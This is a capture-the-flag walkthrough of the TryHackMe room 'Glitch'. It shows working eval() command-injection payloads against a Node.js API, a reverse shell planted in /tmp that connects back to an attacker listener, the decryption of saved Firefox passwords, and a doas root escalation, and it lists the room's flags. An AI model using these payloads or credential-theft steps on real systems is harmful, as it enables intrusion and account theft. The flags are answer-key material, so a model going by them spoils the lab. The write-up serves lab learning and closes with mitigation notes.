

TryHackMe - Glitch

Easy Linux room - Node.js RCE, Firefox credential extraction, and doas privilege escalation

Machine Information

Glitch is an easy-difficulty TryHackMe room. An initial scan reveals a single web server running a Node.js application. Parameter tampering leads to a command injection via the unsafe use of `eval()`. A reverse shell is obtained, and enumeration of the user's saved Firefox profile leaks credentials for another user, `v0id`. That user is permitted to run anything as root via a misconfigured `doas`, giving us root and the final flag.

Hosting Site	TryHackMe
Room	THM - Easy - Glitch
Target IP	10.48.144.113 (later recycled to 10.48.139.79)
Difficulty	Easy
Skills	Basic JavaScript, parameter tampering, fuzzing, filesystem enumeration

1. Initial Recon

Full port scan with Nmap:

```
nmap -sC -sV -p- --min-rate=1000 -T4 10.48.144.113

PORT      STATE SERVICE VERSION
80/tcp    open  http    nginx 1.14.0 (Ubuntu)
|_http-title: not allowed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Only port 80 is exposed, running nginx serving a Node.js application. Browsing to the root page shows a static image and a small inline script.

2. Getting the Access Token

Viewing the page source reveals a function called `getAccess()`:

```
function getAccess() {
  fetch('/api/access')
    .then((response) => response.json())
    .then((response) => { console.log(response); });
}
```

Calling the API endpoint returns a base64-encoded token:

```
$ curl http://10.48.144.113/api/access
{"token":"dGhpc19pc19ub3RfcmVhbA=="}

$ echo "dGhpc19pc19ub3RfcmVhbA==" | base64 -d
this_is_not_real
```

Access token: `this_is_not_real` (answer format `**** _ _ _ _ ****`). Setting a cookie `token=this_is_not_real` unlocks the next page.

3. Finding the Items API

After refreshing with the cookie set, a new page is served which loads `js/script.js`. That script fetches data from `/api/items`:

```
$ curl http://10.48.144.113/api/items
{"sins":["lust","gluttony","greed","sloth","wrath","envy","pride"],
 "errors":["error","error",...],
 "deaths":["death"]}
```

```
$ curl -X POST http://10.48.144.113/api/items
{"message":"there_is_a_glitch_in_the_matrix"}
```

A POST returns an odd message, so a parameter is required. Fuzzing the query string finds the parameter `cmd`, which is passed straight into `eval()` (visible in the returned stack trace referencing `eval` at `router.post (/var/web/routes/api.js:25:60)`).

4. Remote Code Execution (RCE)

Because the value is evaluated as JavaScript inside Node.js, we can call `require('child_process')` to execute system commands. URL-encoding the payload avoids breaking the query string:

```
$ curl -X POST "http://10.48.144.113/api/items?cmd=\
require%28%27child_process%27%29.execSync%28%27id%27%29.toString%28%29"
```

```
vulnerability_exploited uid=1000(user) gid=1000(user) groups=1000(user),30(dip),46(plugdev)
execSync(...).toString() returns command output directly in the response, giving us a
fully interactive command channel. The user.txt flag is read:
```

```
$ curl -X POST "http://10.48.144.113/api/items?cmd=\
require%28%27child_process%27%29.execSync%28%27cat%20/home/user/user.txt%27%29.toString%28%29"
```

```
vulnerability_exploited THM{i_don't_know_why}
```

user.txt: THM{i_don't_know_why}

5. Shell Upgrade & Reverse Shell

For stable, interactive access (needed for password prompts during escalation), a PTY reverse shell is planted. Because a synchronous `execSync` would block Node's single-threaded event loop, the reverse shell is launched with asynchronous `exec()`:

```
# local listener (Python PTY controller on 192.168.155.203:9001)
# 1) write a python pty reverse-shell script to the box
$ echo '<base64>' | base64 -d > /tmp/.rs.py # via execSync RCE
```

```
# 2) launch it asynchronously so Node is not blocked
$ curl -X POST "http://10.48.144.113/api/items?cmd=\
require%28%27child_process%27%29.exec%28%27python3%20/tmp/.rs.py%27%29"
```

```
=== CONNECTED ('10.48.144.113', 59320) ===
user@ubuntu:/var/web$
```

6. Enumerating the User - Firefox Credentials

In /home/user there is a .firefox profile directory. Saved credentials can be decrypted from key4.db and logins.json using the firepwd tool. Both files are exfiltrated and decrypted locally:

```
$ python3 firepwd.py
...
decrypting login/password pairs
Using 3DES (32-byte key, truncated to 24)
https://glitch.thm: b'v0id', b'love_the_void'
```

This leaks credentials for another local user, v0id. Switching user:

```
user@ubuntu:/var/web$ su v0id
Password: love_the_void
v0id@ubuntu:/var/web$
```

7. Privilege Escalation to Root (doas)

Standard escalation checks show v0id cannot use sudo, but a SUID binary /usr/local/bin/doas is present (a sudo alternative). Its config file permits v0id to run anything as root:

```
v0id@ubuntu:/var/web$ cat /usr/local/etc/doas.conf
permit v0id as root
```

```
v0id@ubuntu:/var/web$ doas -u root /bin/bash
Password: love_the_void
root@ubuntu:/var/web#
```

We are now root. The final flag is read from /root/root.txt:

```
root@ubuntu:/var/web# cat /root/root.txt
THM{diamonds_break_our_aching_minds}
```

root.txt: THM{diamonds_break_our_aching_minds}

8. Answers

What is your access token?	this_is_not_real
What is the content of user.txt?	THM{i_don't_know_why}
What is the content of root.txt?	THM{diamonds_break_our_aching_minds}

Mitigation notes: never pass user input to eval(); use parameterized/allow-listed handlers instead. The app should run with the least privilege, Firefox profiles should not store plaintext-saveable credentials on shared systems, and doas/sudo rules should require a password and only grant narrowly scoped commands.